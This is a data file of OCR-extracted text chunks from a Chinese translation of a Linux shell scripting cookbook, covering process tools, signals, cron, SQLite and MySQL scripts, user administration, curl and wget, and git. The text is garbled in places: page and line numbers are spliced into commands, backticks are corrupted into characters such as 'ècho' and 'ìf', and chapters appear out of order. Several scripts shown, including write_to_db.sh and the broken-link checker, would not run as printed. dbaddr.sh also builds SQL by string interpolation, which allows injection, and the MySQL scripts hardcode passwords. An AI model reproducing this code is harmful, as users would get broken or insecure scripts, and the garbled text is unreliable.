    {"text": "要想找出当前运行的所有Bash进程，可以使用： $ ps -eo comm,pid,pcpu,pmem | grep bash 4 bash 1255 0.0 0.3 bash 1680 5.5 0.3 4. 根据真实用户/ID以及有效用户/ID过滤 ps 输出 5 ps命令可以根据指定的真实/有效用户名或ID（real and effective username or ID）对进程进行 分组。"},
    {"text": "7 例如： # 显示以 root 作为有效用户 ID 和真实用户 ID 的用户以及 CPU 占用率 $ ps -u root -U root -o user,pcpu 8 -o可以和-e结合成-eo的形式，但如果使用了过滤器，就不能再使用-e了，它会使过滤器选 项失效。"},
    {"text": "选项-t可以指定TTY列表： 10 $ ps -t TTY1, TTY2 .. 例如： 11 $ ps -t pts/0,pts/1 PID TTY TIME CMD 1238 pts/0 00:00:00 bash 1835 pts/1 00:00:00 bash 1864 pts/0 00:00:00 ps 12 6. 进程线程的相关信息 选项-L可以显示出线程的相关信息。"},
    {"text": "$ ps -Lf UID PID PPID LWP C NLWP STIME TTY TIME CMD user 1611 1 1612 0 2 Jan16 ? 00:00:00 /usr/lib/gvfs/gvfsd 下面的命令可以列出线程数最多的5个进程： $ ps -eLf --sort -nlwp | head -5 UID PID PPID LWP C NLWP STIME TTY TIME CMD root 647 1 647 0 64 14:39 ? 00:00:00 /usr/sbin/console-kit-daemon --no-daemon root 647 1 654 0 64 14:39 ? 00:00:00 /usr/sbin/console-kit-daemon --no-daemon root 647 1 656 0 64 14:39 ? 00:00:00 /usr/sbin/console-kit-daemon --no-daemon root 647 1 657 0 64 14:39 ? 00:00:00 /usr/sbin/console-kit-daemon --no-daemon 7. 指定输出宽度以及所要显示的列 ps命令包含多种可用于选择输出字段的选项。"},
    {"text": "ps和 pgrep命令可以完成这项任务： $ ps -C COMMAND_NAME 或者 $ ps -C COMMAND_NAME -o pid= 如果在pid后面加上=，这会去掉ps输出中PID一列的列名。"},
    {"text": "下面的命令可以列出bash进程的PID： $ ps -C bash -o pid= 1255 1680 10.2 收集进程信息 311 pgrep命令也可以列出命令的进程ID列表： 1 $ pgrep bash 1255 1680 2 pgrep只需要使用命令名的一部分作为参数，例如pgrep ash或pgrep bas 都没问题。"},
    {"text": "3 如果不使用换行符作为分隔符，那么可以使用选项-d来指定其他的输出分隔符： $ pgrep COMMAND -d DELIMITER_STRING $ pgrep bash -d \":\" 4 1255:1680 选项-u可以过滤用户： 5 $ pgrep -u root,slynux COMMAND 其中，root和slynux都是用户名。"},
    {"text": "9 uptime命令的输出为： $ uptime 12:40:53 up 6:16, 2 users, load average: 0.00, 0.00, 0.00 10 10. top命令 默认情况下，top命令会列出CPU占用最高的进程列表以及基本的系统统计信息，其中包括 11 总的任务数、CPU核心数以及内存占用情况。"},
    {"text": "下面的命令显示出了一些系统统计信息以及CPU占用率最高的进程： 12 $ top top - 18:37:50 up 16 days, 4:41,7 users,load average 0.08 0.05 .11 Tasks: 395 total, 2 running, 393 sleeping, 0 stopped 0 zombie 14 312 第 10 章 管理重任 10.2.5 参考 10.8节讲解了如何调度任务。"},
    {"text": "这些目录 由环境变量PATH指定： $ echo $PATH /usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin 我们可以添加搜索目录并导出新的PATH。 如果要将/opt/bin添加到PATH中，可以使用以 下命令： $ export PATH=$PATH:/opt/bin # 将 /opt/bin 添加到 PATH 中  whereis whereis与which命令类似，它不仅会返回命令的路径，还能够打印出其对应的命令手册 以及源代码的路径（如果有的话）： $ whereis ls ls: /bin/ls /usr/share/man/man1/ls.1.gz  whatis whatis会输出指定命令的一行简短描述。"},
    {"text": "这些信息是从命令手册中解析得来的： 10.4 杀死进程以及发送和响应信号 313 $ whatis ls 1 ls (1) - list directory contents  file file 2 命令可以用来确定文件的类型，其语法如下： $ file FILENAME 该命令返回的文件类型可能是几个单词也可能是一大段描述： 3 $file /etc/passwd /etc/passwd: ASCII text $ file /bin/ls 4 /bin/ls: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, stripped apropos 5 有时候我们需要搜索与某个主题相关的命令。"},
    {"text": "apropos可以搜索包含指定关 键字的手册页： 6 apropos topic 10.4 杀死进程以及发送和响应信号 7 如果需要降低系统负载或是重启系统（如果进程行为失常，开始耗费过多资源），就得杀死 进程。"},
    {"text": "314 第 10 章 管理重任 $ kill -l SIGHUP 2) SIGINT 3) SIGQUIT 4) SIGILL 5) SIGTRAP ... (2) 终止进程： $ kill PROCESS_ID_LIST kill命令默认发送SIGTERM信号。"},
    {"text": "应该先尝试使用SIGTERM，将SIGKILL留作最后一招： $ kill -s SIGKILL PROCESS_ID 也可以使用下面的命令执行清理操作： $ kill -9 PROCESS_ID 10.4.3 补充内容 Linux中还有其他一些可以发送信号或终止进程的命令。"},
    {"text": "1. kill命令系列 kill命令以进程ID作为参数。 killall命令可以通过名字来终止进程： $ killall process_name 选项-s可以指定要发送的信号。 killall默认发送SIGTERM信号： $ killall -s SIGNAL process_name 选项-9可以依照名字强行杀死进程： $ killall -9 process_name 10.4 杀死进程以及发送和响应信号 315 例如： 1 $ killall -9 gedit 选项-u可以指定进程所属用户： 2 $ killall -u USERNAME process_name 如果需要在杀死进程前进行确认，可以使用killall的-I选项。 3 pkill命令和kill命令类似，不过默认情况下pkill接受的是进程名，而非进程ID： $ pkill process_name $ pkill -s SIGNAL process_name 4 SIGNAL是信号编号。"},
    {"text": "trap命令在脚本中用来为信号分配信号处理程序。 一旦使用trap将某个函数分配给一 个信号，那么当脚本运行收到该信号时，就会执行相应的函数。"},
    {"text": "8 下面是一个能够响应信号SIGINT的shell脚本： #/bin/bash 9 #文件名：sighandle.sh #用途: 信号处理程序 function handler() { 10 echo Hey, received signal : SIGINT } #$$是一个特殊变量，它可以返回当前进程/脚本的进程ID 11 echo My process ID is $$ #handler是信号SIGINT的信号处理程序的名称 trap 'handler' SIGINT 12 while true; do sleep 1 14 done 316 第 10 章 管理重任 在终端中运行该脚本。"},
    {"text": "如果给出了脚本的进程ID，我们可以用kill命令向其发送信号： $ kill -s SIGINT PROCESS_ID 脚本sighandle.sh会在运行时输出自己的进程ID，或者也可以用ps命令找出它的进程ID。"},
    {"text": "who命令可以确定用户的终端： $> who user1 pts/0 2017-01-16 13:56 (:0.0) user1 pts/1 2017-01-17 08:35 (:0.0) 第二列（pts/#）就是用户终端的名称。"},
    {"text": "完成之后再重启xinet： # cd /etc/xinet.d 2 # vi ntalk # cd /etc/init.d #./xinetd restart 3 10.5.2 实战演练 1. 向单个用户发送消息 4 write命令可以向单个用户发送消息： $ write USERNAME [device] 5 发送的消息可以来自文件、echo命令或是采用交互方式输入。"},
    {"text": "在命令后面加上伪终端名就可以将消息传入特定的会话： 6 $ echo \"Log off now. I'm rebooting the system\" | write user1 pts/3 2. 同其他用户展开会话 7 talk命令可以在两个用户之间打开一个交互式会话。 其语法为： $ talk user@host 8 下面的命令会向user2发起会话： $ talk user2@workstation2.example.com 9 输入talk命令之后，你的终端会话内容会被清空，然后分割成两个窗口。 在其中一个窗口 中会显示以下文本： 10 [Waiting for your party to respond] 对方会看到如下消息： 11 Message from Talk_Daemon@workstation1.example.com talk: connection requested by user1@workstation.example.com talk: respond with talk user1@workstation1.example.com 对方调用talk时，其终端会话同样也会被清空并分割。 你们两人输入的内容都会出现在对 12 方的窗口中： I need to reboot the database server. How much longer will your processing take? 14 318 第 10 章 管理重任 --------------------------------------------- 90% complete. Should be just a couple more minutes. 3. 向所有用户发送消息 wall（WriteALL）命令会向所有的用户及终端广播信息： $ cat message | wall 或者 $ wall< message Broadcast Message from slynux@slynux-laptop (/dev/pts/1) at 12:54 ... This is a message 消息头部显示了是谁发送的消息：用户及其所在主机。 write、talk和wall命令只有在write message选项启用的情况下才能够在用户之间发送消 息，而root用户总是能够发送消息。"},
    {"text": "命令mesg可以启用或禁止消息接收： # 允许接收消息 $ mesg y # 禁止接收消息 $ mesg n 10.6 / proc 文件系统 /proc是一种存在于内存中的伪文件系统（pseudo filesystem） ，它的引入是为了可以从用户空 间中读取Linux内核的内部数据结构。"},
    {"text": "4 10.7 收集系统信息 5 和计算机系统相关的数据非常多，其中包括网络信息、主机名、内核版本、Linux发布版名 称、CPU型号描述、内存占用情况、磁盘分区等。"},
    {"text": "6 实战演练 (1) hostname和uname可以输出当前系统的主机名： 7 $ hostname 或者 8 $ uname -n server.example.com (2) uname的选项-a可以输出Linux内核版本、硬件架构等详细信息： 9 $ uname -a server.example.com 2.6.32-642.11.1.e16.x86_64 #1 SMP Fri Nov 18 19:25:05 UTC 2016 x86_64 x86_64 GNU/Linux 10 (3) 选项-r可以输出内核发行版本： $ uname -r 11 2.6.32-642.11.1.e16.x86_64 (4) 选项-m可以输出主机类型： $ uname -m 12 x86_64 (5) /proc目录中存有系统、模块以及运行进程的相关信息。"},
    {"text": "/proc/cpuinfo中包含了CPU 14 的详细信息： 320 第 10 章 管理重任 $ cat /proc/cpuinfo processor : 0 vendor_id : GenuineIntel cpu family : 6 model : 63 model name : Intel(R)Core(TM)i7-5820K CPU @ 3.30GHz ... 如果处理器配备了多个处理核心，上面的内容会出现多次。"},
    {"text": "第5行包含了处理器名称： $ cat /proc/cpuinfo | sed -n 5p Intel(R)CORE(TM)i7-5820K CPU @ 3.3 GHz (6) /proc/meminfo中包含了内存相关的信息： $ cat /proc/meminfo MemTotal: 32777552 kB MemFree: 11895296 kB Buffers: 634628 kB ... meminfo的第一行显示出了系统可用内存总量： $ cat /proc/meminfo | head -1 MemTotal: 1026096 kB (7) /proc/partitions中描述了磁盘分区信息： $ cat /proc/partitions major minor #blocks name 8 0 976762584 sda 8 1 512000 sda1 8 2 976248832 sda2 ... fdisk命令可以编辑磁盘分区表，也可以输出分区表的当前内容。"},
    {"text": "dmidecode 通常直接就可以使用，lshw可能需要你自己手动安装： $ sudo lshw description: Computer product: 440BX vendor: Intel ... $ sudo dmidecode 10.8 使用 cron 进行调度 321 SMBIOS 2.8 present 1 115 structures occupying 4160 bytes. Table at 0xDCEE1000. BIOS Information Vendor: American Megatrends Inc 2 ... 10.8 使用 cron 进行调度 3 GNU/Linux系统包含了多种任务调度的工具，其中cron的应用最为广泛。"},
    {"text": "322 第 10 章 管理重任 (1) 在每天中每小时的第2分钟执行脚本test.sh： 02 * * * * /home/slynux/test.sh (2) 在每天的第5、6、7小时执行脚本test.sh： 00 5,6,7 * * /home/slynux/test.sh (3) 在周日的时候，每隔2个小时执行脚本script.sh： 00 */2 * * 0 /home/slynux/script.sh (4) 在每天凌晨2点关闭计算机： 00 02 * * * /sbin/shutdown -h (5) crontab命令可以采用交互式或是使用预先写好的文件。"},
    {"text": "选项-e可用于编辑cron表： $ crontab -e 02 02 * * * /home/slynux/script.sh 输入crontab -e后，会打开默认的文本编辑器（通常是vi）供用户输入cron作业（cron job）并保存。"},
    {"text": " 创建一个文本文件（例如task.cron），写入cron作业后将文件名作为crontab命令的 参数： $ crontab task.cron  或者直接在行内（inline）指定cron作业，不再单独创建文件。"},
    {"text": "如果你希望在多个时段执行命令，那么就在对应的时间 字段中指定时间间隔，彼此之间用逗号分隔（例如要在第5分钟和10分钟时运行命令，那就在分 钟字段中输入5,10）。"},
    {"text": "下面的crontab定义了环境变量http_proxy，以便于使用代理服务器访问Internet： 8 http_proxy=http://192.168.0.3:3128 MAILTO=user@example.com 00 * * * * /home/slynux/download.sh Debian、Ubunto和CentOS发行版中的vixie-cron支持这种格式。"},
    {"text": "对于其他发行版，可以针 9 对每个命令设置环境变量： 00 * * * * http_proxy=http:192.168.0.2:3128; 10 /home/sylinux/download.sh 2. 在系统启动时运行命令 11 有时候需要在系统启动时运行特定的命令。"},
    {"text": "14 324 第 10 章 管理重任 3. 查看 cron 表 选项-l可以列出当前用户的cron表： $ crontab -l 02 05 * * * /home/user/disklog.sh 选项-u可以查看指定用户的cron表。 必须以root用户的身份使用该选项： $ crontab -l -u slynux 09 10 * * * /home/slynux/test.sh 4. 删除 cron 表 选项-r可以删除当前用户的cron表： $ crontab -r 选项-u可以删除指定用户的cron表。 必须以root用户的身份执行该操作： # crontab -u slynux -r 10.9 数据库的形式及用法 Linux支持很多不同形式的数据库，从简单的文本文件（/etc/passwd）、低层的B树数据库 （Berkey DB和bdb）、轻量级的SQL（sqlite）到全功能的关系型数据库（如Postgres、Oracle和 MySQL）。"},
    {"text": "在这个例子中，我们选用波浪号（~）： first last~Street~City, State~Country~Phone~ 例如： 4 Joe User~123 Example Street~AnyTown, District~1-123-123-1234~ 然后编写一个函数来查找出匹配模式的地址行，并将其转换成可读性好的格式： 5 function addr { grep $1 $HOME/etc/addr.txt | sed 's/~/\\n/g' } 6 输出结果如下： $ addr Joe Joe User 7 123 Example Street AnyTown District 1-123-123-1234 8 10.9.3 补充内容 SQLite、Postgres、Oracle和MySQL提供了称之为关系的数据库范式。"},
    {"text": "1. 创建表 12 CREATE TABLE命令可以定义数据表： CREATE TABLE tablename (field1 type1, field2 type2,...); 14 下面的命令创建了一个包含书名和作者的数据表： 326 第 10 章 管理重任 CREATE TABLE book (title STRING, author STRING); 2. 插入记录 insert命令可以向表中插入一条记录： INSERT INTO table (columns) VALUES (val1, val2,...); 下面的命令会将你现在正在读的这本书插入到book表中： INSERT INTO book (title, author) VALUES ('Linux Shell Scripting Cookbook', 'Clif Flynt'); 3. 查询记录 select命令可以选择符合条件的所有记录： SELECT fields FROM table WHERE test; 下面的命令会从book表中选择包含单词Shell的书名： SELECT title FROM book WHERE title like '%Shell%'; 10.10 读写 SQLite 数据库 SQLite是一种轻量级数据库引擎，广泛用于各种应用，从安卓APP、Firefox到美国海军装备 系统。"},
    {"text": "SQLite数据库就是单个文件，不同的数据库引擎都可以访问该文件。 SQLite数据库引擎是一 个可以链接到应用程序的C代码库，它能够以库的形式载入到脚本语言中（例如TCL、Python或 Perl），也可以作为独立的程序运行。"},
    {"text": "对于Debian和Ubuntu，使用下列命令： apt-get install sqlite3 libsqlite3-dev 对于Red Hat、SuSE、Fedora和Centos，使用下列命令： yum install sqlite sqlite-devel 10.10 读写 SQLite 数据库 327 10.10.2 实战演练 1 sqlite3是一个交互式数据库引擎，它能够连接到SQLite数据库，支持创建表、插入数据、 查询表等功能。"},
    {"text": "在这里，我们将生成一个数据表，向其中插入一条记录，然后 再检索出一条记录： 4 # 创建数据库 books $ sqlite3 books.db sqlite> CREATE TABLE books (title string, author string); 5 sqlite> INSERT INTO books (title, author) VALUES ('Linux Shell Scripting Cookbook', 'Clif Flynt'); sqlite> SELECT * FROM books WHERE author LIKE '%Flynt%'; Linux Shell Scripting Cookbook|Clif Flynt 6 10.10.3 工作原理 7 sqlite3创建了一个名为books.db的空数据库， 然后显示出提示符sqlite> ，等待接受SQL 命令。"},
    {"text": "14 328 第 10 章 管理重任 具体用法如下： $> dbaddr.sh init $> dbaddr.sh insert 'Joe User' '123-1234' 'user@example.com' $> dbaddr.sh query name Joe Joe User 123-1234 user@example.com 以下是脚本的实现代码： #!/bin/bash # 根据第一个参数创建命令 case $1 in init ) cmd=\"CREATE TABLE address \\ (name string, phone string, email string);\" ;; query ) cmd=\"SELECT name, phone, email FROM address \\ WHERE $2 LIKE '$3';\";; insert ) cmd=\"INSERT INTO address (name, phone, email) \\ VALUES ( '$2', '$3', '$4' );\";; esac # 将SQL命令发送给sqlite3并重新格式化输出 echo $cmd | sqlite3 $HOME/addr.db | sed 's/|/\\n/g' 上面脚本利用case语句生成SQL命令，然后将该命令传给sqlite3执行。"},
    {"text": "MariaDB是MySQL的一个衍生版本，它独立于Oracle。 MariaDB可以访问MySQL数据库， 不过MySQL引擎未必总是能够访问MariaDB数据库。 MySQL和MariaDB都为包括PHP、Python、C++、Tcl在内的很多语言提供了接口。 这些语言 在访问数据库时都可以使用mysql命令提供交互式会话。"},
    {"text": "可以自行安装 mysql-server和mysql-client，或是mariadb-server软件包。 MariaDB使用mysql作为命 2 令，有时在安装MySQL的时候也会一并将其安装。 MySQL需要使用用户名和密码进行认证，在安装过程中需要设置密码。 3 安装完成之后，可以开始通过mysql命令创建新的数据库。 使用CREATE DATABASE命令建 立好数据库之后，use命令可以选用该数据库。 选中之后就可以使用标准的SQL命令创建数据表 并插入数据了： 4 $> mysql -user=root -password=PASSWORD Welcome to the MariaDB monitor. Commands end with ; or \\g. 5 Your MariaDB connection id is 44 Server version: 10.0.29-MariaDB-0+deb8u1 (Debian) Copyright (c) 2000, 2016, Oracle, MariaDB Corporation Ab and others. 6 Type 'help;' or '\\h' for help. Type '\\c' to clear the current input statement. MariaDB [(none)]> CREATE DATABASE test1; 7 Query OK, 1 row affected (0.00 sec) MariaDB [(none)]> use test1; quit命令或Ctrl-D可以终止mysql交互会话。"},
    {"text": "10 创建数据库及数据表的脚本如下： #!/bin/bash #文件名：create_db.sh #用途：创建MySQL数据库和数据表 11 USER=\"user\" PASS=\"user\" 12 mysql -u $USER -p$PASS <<EOF 2> /dev/null CREATE DATABASE students; EOF 14 [ $? -eq 0 ] && echo Created DB || echo DB already exist 330 第 10 章 管理重任 mysql -u $USER -p$PASS students <<EOF 2> /dev/null CREATE TABLE students( id int, name varchar(100), mark int, dept varchar(4) ); EOF [ $? -eq 0 ] && echo Created table students || \\ echo Table students already exist mysql -u $USER -p$PASS students <<EOF DELETE FROM students; EOF 将数据插入数据表的脚本如下： #!/bin/bash #文件名：write_to_db.sh #用途: 从CSV中读取数据并写入MySQL数据库 USER=\"user\" PASS=\"user\" if [ $# -ne 1 ]; then echo $0 DATAFILE echo exit 2 fi data=$1 while read line; do oldIFS=$IFS IFS=, values=($line) values[1]=\"\\\"ècho ${values[1]} | tr ' ' '#' `\\\"\" values[3]=\"\\\"ècho ${values[3]}`\\\"\" query=ècho ${values[@]} | tr ' #' ', ' ÌFS=$oldIFS mysql -u $USER -p$PASS students <<EOF INSERT INTO students VALUES($query); EOF done< $data echo Wrote data into DB 10.11 读写 MySQL 数据库 331 数据库查询脚本如下： 1 #!/bin/bash #文件名：read_db.sh #用途: 读取数据库 2 USER=\"user\" PASS=\"user\" depts=`mysql -u $USER -p$PASS students <<EOF | tail -n +2 3 SELECT DISTINCT dept FROM students; EOF` for d in $depts; 4 do echo Department : $d 5 result=\"`mysql -u $USER -p$PASS students <<EOF SET @i:=0; SELECT @i:=@i+1 as rank,name,mark FROM students WHERE dept=\"$d\" ORDER BY mark DESC; EOF`\" 6 echo \"$result\" echo 7 done 作为输入的CSV文件（studentdata.csv）内容如下： 8 1,Navin M,98,CS 2,Kavya N,70,CS 3,Nawaz O,80,CS 4,Hari S,80,EC 5,Alex M,50,EC 9 6,Neenu J,70,EC 7,Bob A,30,EC 8,Anu M,90,AE 9,Sruthi,89,AE 10 10,Andrew,89,AE 按照以下顺序执行脚本： 11 $ ./create_db.sh Created DB Created table students $ ./write_to_db.sh studentdat.csv 12 Wrote data into DB $ ./read_db.sh Department : CS 14 332 第 10 章 管理重任 rank name mark 1 Navin M 98 2 Nawaz O 80 3 Kavya N 70 Department : EC rank name mark 1 Hari S 80 2 Neenu J 70 3 Alex M 50 4 Bob A 30 Department : AE rank name mark 1 Anu M 90 2 Sruthi 89 3 Andrew 89 10.11.3 工作原理 第一个脚本create_db.sh用来创建数据库students以及其中的数据表students。"},
    {"text": "6 10.12.1 实战演练 7 该脚本能够执行常见的用户管理任务： #!/bin/bash #文件名：user_adm.sh 8 #用途: 用户管理工具 function usage() { 9 echo Usage: echo Add a new user echo $0 -adduser username password echo 10 echo Remove an existing user echo $0 -deluser username echo echo Set the default shell for the user 11 echo $0 -shell username SHELL_PATH echo echo Suspend a user account echo $0 -disable username echo 12 echo Enable a suspended user account echo $0 -enable username echo echo Set expiry date for user account 14 echo $0 -expiry DATE 334 第 10 章 管理重任 echo echo Change password for user account echo $0 -passwd username echo echo Create a new user group echo $0 -newgroup groupname echo echo Remove an existing user group echo $0 -delgroup groupname echo echo Add a user to a group echo $0 -addgroup username groupname echo echo Show details about a user echo $0 -details username echo echo Show usage echo $0 -usage echo exit } if [ $UID -ne 0 ]; then echo Run $0 as root. exit 2 fi case $1 in -adduser) [ $# -ne 3 ] && usage ; useradd $2 -p $3 -m ;; -deluser) [ $# -ne 2 ] && usage ; deluser $2 --remove-all-files;; -shell) [ $# -ne 3 ] && usage ; chsh $2 -s $3 ;; -disable) [ $# -ne 2 ] && usage ; usermod -L $2 ;; -enable) [ $# -ne 2 ] && usage ; usermod -U $2 ;; -expiry) [ $# -ne 3 ] && usage ; chage $2 -E $3 ;; -passwd) [ $# -ne 2 ] && usage ; passwd $2 ;; -newgroup) [ $# -ne 2 ] && usage ; addgroup $2 ;; -delgroup) [ $# -ne 2 ] && usage ; delgroup $2 ;; -addgroup) [ $# -ne 3 ] && usage ; addgroup $2 $3 ;; -details) [ $# -ne 2 ] && usage ; finger $2 ; chage -l $2 ;; -usage) usage ;; *) usage ;; esac"},
    {"text": "index 6 if [ $# -ne 1 ]; then echo -e \"$Usage: $0 URL\\n\" exit 1; 7 fi echo Broken links: 8 mkdir /tmp/$$.lynx cd /tmp/$$.lynx lynx -traversal $1 > /dev/null 9 count=0; sort -u reject.dat > links.txt while read link; 10 do output=`curl -I $link -s \\ | grep -e \"HTTP/.*OK\" -e \"HTTP/.*200\"ìf [[ -z $output ]]; 11 then output=`curl -I $link -s | grep -e \"HTTP/.*301\"ìf [[ -z $output ]]; then 12 echo \"BROKEN: $link\" let count++ else echo \"MOVED: $link\" 14 fi 182 第 5 章 一团乱麻？"},
    {"text": "fi done < links.txt [ $count -eq 0 ] && echo No broken links found. 5.11.3 工作原理 lynx -traversal URL会在当前工作目录下生成多个文件，其中包括reject.dat，该 文件包含网站中的所有链接。"},
    {"text": "5.12.2 实战演练 下面的bash脚本结合了各种命令来跟踪页面变动： 5.12 跟踪网站变动 183 #!/bin/bash #文件名: change_track.sh 1 #用途: 跟踪页面变动 if [ $# -ne 1 ]; then 2 echo -e \"$Usage: $0 URL\\n\" exit 1; fi 3 first_time=0 # 非首次运行 if [ ! -e \"last.html\" ]; then 4 first_time=1 # 首次运行 fi 5 curl --silent $1 -o recent.html if [ $first_time -ne 1 ]; then 6 changes=$(diff -u last.html recent.html) if [ -n \"$changes\" ]; then echo -e \"Changes:\\n\" echo \"$changes\" 7 else echo -e \"\\nWebsite has no changes\" fi else 8 echo \"[First run] Archiving..\" fi 9 cp recent.html last.html 让我们分别观察一下网页未发生变动和发生变动后脚本track_changes.sh的输出。"},
    {"text": " 第一次运行： 11 $ ./track_changes.sh http:// www.MyWebSite.org [First run] Archiving..  第二次运行： 12 $ ./track_changes.sh http://www.MyWebSite.org Website has no changes 14  在网页变动后，第三次运行： 184 第 5 章 一团乱麻？"},
    {"text": "$ ./track_changes.sh http://www.MyWebSite.org Changes: --- last.html 2010-08-01 07:29:15.000000000 +0200 +++ recent.html 2010-08-01 07:29:43.000000000 +0200 @@ -1,3 +1,4 @@ <html> +added line :) <p>data</p> </html> 5.12.3 工作原理 脚本用[ ! -e \"last.html\" ];检查自己是否是首次运行。"},
    {"text": "如果last.html不存在，那就 意味着这是首次运行，必须下载Web页面并将其复制为last.html。 如果不是首次运行，那么脚本应该下载一个新的页面副本（recent.html），然后用diff 检查差异。 如果有变化，则打印出变更信息并将recent.html复制成last.html。"},
    {"text": "5.13.1 预备知识 这里我们使用了tclhttpd软件包中自带的样例网站guestbook。 你可以从http://sourceforge.net/ projects/tclhttpd下载tclhttpd，然后在本地系统上运行，创建一个本地Web服务器。"},
    {"text": "如果用户点 击按钮 Add me to your guestbook ，页面会发送一个包含姓名和URL的请求，请求中的信息会被 添加到guestbook的页面上，以显示出都有谁访问过该站点。"},
    {"text": "5.13 发送 Web 页面并读取响应 185 5.13.2 实战演练 1 下载tclhttpd软件包，切换到bin目录。 启动tclhttpd守护进程： tclsh httpd.tcl 2 使用curl发送POST请求并读取网站的响应（HTML格式）： $ curl URL -d \"postvar=postdata2&postvar2=postdata2\" 3 例如： $ curl http://127.0.0.1:8015/guestbook/newguest.html \\ -d \"name=Clif&url=www.noucorp.com&http=www.noucorp.com\" 4 curl会打印出响应页面： <HTML> 5 <Head> <title>Guestbook Registration Confirmed</title> </Head> <Body BGCOLOR=white TEXT=black> 6 <a href=\"www.noucorp.com\">www.noucorp.com</a> <DL> <DT>Name <DD>Clif 7 <DT>URL <DD> </DL> www.noucorp.com 8 </Body> -d表示以POST方式提交用户数据。"},
    {"text": "例如： 10 $ wget http://127.0.0.1:8015/guestbook/newguest.cgi \\ --post-data \"name=Clif&url=www.noucorp.com&http=www.noucorp.com\" \\ -O output.html 11 “名称值”的格式同cURL中一样。"},
    {"text": "<form action=\"newguest.cgi\" \" method=\"post\" > <ul> <li> Name: <input type=\"text\" name=\"name\" size=\"40\" > <li> Url: <input type=\"text\" name=\"url\" size=\"40\" > <input type=\"submit\" > </ul> </form> 其中，newguest.cgi是目标URL。 当用户输入详细信息并点击 Submit 按钮时，姓名和URL就以 POST请求的方式被发送到newguest.cgi页面，然后响应页面被返回到浏览器。"},
    {"text": "将视频的URL复制/粘贴到 youtube-dl的命令行中： youtube-dl https://www.youtube.com/watch?v=AJrsl3fHQ74 下载完成之后，youtube-dl会在终端中生成一条状态信息。"},
    {"text": "4 5.15.1 预备知识 5 大多数Linux发行版并不包含ots软件包，可以通过下列命令进行安装： apt-get install libots-devel 6 5.15.2 实战演练 7 ots用起来很简单。"},
    {"text": "它从文件或stdin中读取输入，将生成的摘要输出到stdout： ots LongFile.txt | less 8 或者 cat LongFile.txt | ots | less ots也可以结合curl生成网站的摘要信息。 例如，你可以用ots为那些絮絮叨叨的博客做 9 摘要： curl http://BlogSite.org | sed -r 's/<[^>]+>//g' | ots | less 10 5.15.3 工作原理 curl命令从博客站点中检索页面并将其传给sed。"},
    {"text": "5.16.1 预备知识 大多数Linux发行版中都没有包含这个命令行翻译器，不过你可以从Git直接安装： cd ~/bin wget git.io/trans chmod 755 ./trans 5.16.2 实战演练 trans可以将文本翻译成locale环境变量所设置的语言： $> trans \"J'adore Linux\" J'adore Linux I love Linux Translations of J'adore Linux French -> English J'adore Linux I love Linux 你可以在待翻译的文本前使用选项来控制翻译所用的语言。 选项格式如下： from:to 要想将英语翻译成法语，可以使用下列命令： $> trans en:fr \"I love Linux\" J'aime Linux 5.16.3 工作原理 trans程序包含了5000行左右的awk代码，其中使用了curl来获取Google、Bing以及Yandex 的翻译服务。"},
    {"text": "6.1 简介 189 1 第 6 章 2 仓储管理 3 4 本章内容  创建新的git仓库  使用fossil 5  克隆远程git仓库  创建新的fossil仓库  使用git添加与提交变更  克隆远程fossil仓库  使用git创建与合并分支  打开fossil项目 6  分享工作成果  使用fossil添加与提交变更  推送分支  使用fossil分支与fork 7  检查git仓库状态  使用fossil分享工作成果  查看git历史记录  更新本地fossil仓库  查找bug  检查fossil仓库状态 8  快照标签  查看fossil历史记录  提交信息规范 9 6.1 简介 你开发应用程序的时间越长，就越能体会到有一个能够跟踪程序修订历史的软件是多重要。"},
    {"text": "10 修订版本控制系统能够为新的解决方案创建一个沙盒环境、维护已发布代码的多个分支并提供一 份开发历史记录（在面对知识产权纠纷的时候）。"},
    {"text": "Linux和Unix支持众多的源代码控制系统，从早 期原始的SCCS和RCS到诸如CVS和SVN这样的并发系统以及以Git和Fossil为代表的现代分布式 11 开发系统。"},
    {"text": "Git提供了源代码控制功能以及一些附加的应用程序，而Fossil就只是单个 程序，提供的功能包括修订版本控制、故障报告表、Wiki、Web页面以及技术笔记。"},
    {"text": "如果你的系统中还没有安装，可以通过yum（Redhat 或SuSE）或apt-get（Debian或Ubuntu）获取： $ sudo yum install git-all $ sudo apt-get install git-all 可以从http://www.fossil-scm.org下载Fossil的源代码或可执行文件。"},
    {"text": "你可以自己创建（针对自己的项目）或是克隆远程 仓库。 6.2 创建新的 git 仓库 如果你在开发自己的项目，那么可以创建对应的项目仓库。 仓库可以创建在本地系统中，也 可以创建在如GitHub这样的远程站点上。"},
    {"text": "$ mkdirMyProject $ cdMyProject 6.2.2 实战演练 gitinit命令会在当前工作目录下创建子目录.git并初始化git配置文件。 $ git init 6.2.3 工作原理 gitinit命令初始化一个本地使用的git仓库。"},
    {"text": "如果你想让远程用户也能够访问这个仓库，需 6.4 使用 git 添加与提交变更 191 要使用update-server-info命令： 1 $ git update-server-info 2 6.3 克隆远程 git 仓库 如果你打算访问别人的项目，不管是为了贡献新的代码，还是仅仅为了使用该项目，你都需 3 要把代码克隆到本地系统中。"},
    {"text": "6 从已知的远程站点（如GitHub）克隆： $ git clone http://github.com/ProjectName 从需要用户名和密码的站点（可能是你自己的服务器）克隆： 7 $ git clone clif@172.16.183.130:gitTest clif@172.16.183.130's password: 8 6.4 使用 git 添加与提交变更 9 有了git这种分布式版本控制系统，你可以在仓库的本地副本上完成大部分工作。"},
    {"text": "10 实战演练 git add 11 命令可以将工作代码（working code）中的变更添加到暂存区。 该命令并不会改变 仓库内容，它只是标记出此次变更，将其加入下一次提交中： $ vim SomeFile.sh 12 $ git add SomeFile.sh 如果你希望在提交所有变更的时候不会遗漏某一个，最好在每次编辑之后都执行git add。 14 你可以使用git add命令将新文件添加到仓库中： 192 第 6 章 仓储管理 $ echo \"my test file\" >testfile.txt $ git add testfile.txt 也可以一次添加多个文件： $ git add *.c git commit命令可以将变更提交至仓库： $ vim OtherFile.sh $ git add OtherFile.sh $ git commit git commit命令会打开shell环境变量EDITOR中定义好的编辑器，其中包含如下预生成的 文本： # Please enter the commit message for your changes. Lines starting # with '#' will be ignored, and an empty message aborts the commit. # # Committer: ClifFlynt<clif@cflynt.com> # # On branch branch1 # Changes to be committed: # (use \"git reset HEAD <file>...\" to unstage) # # modified: SomeFile.sh # modified: OtherFile.sh 输入注释信息之后，你所作出的变更就被保存在仓库的本地副本中了。"},
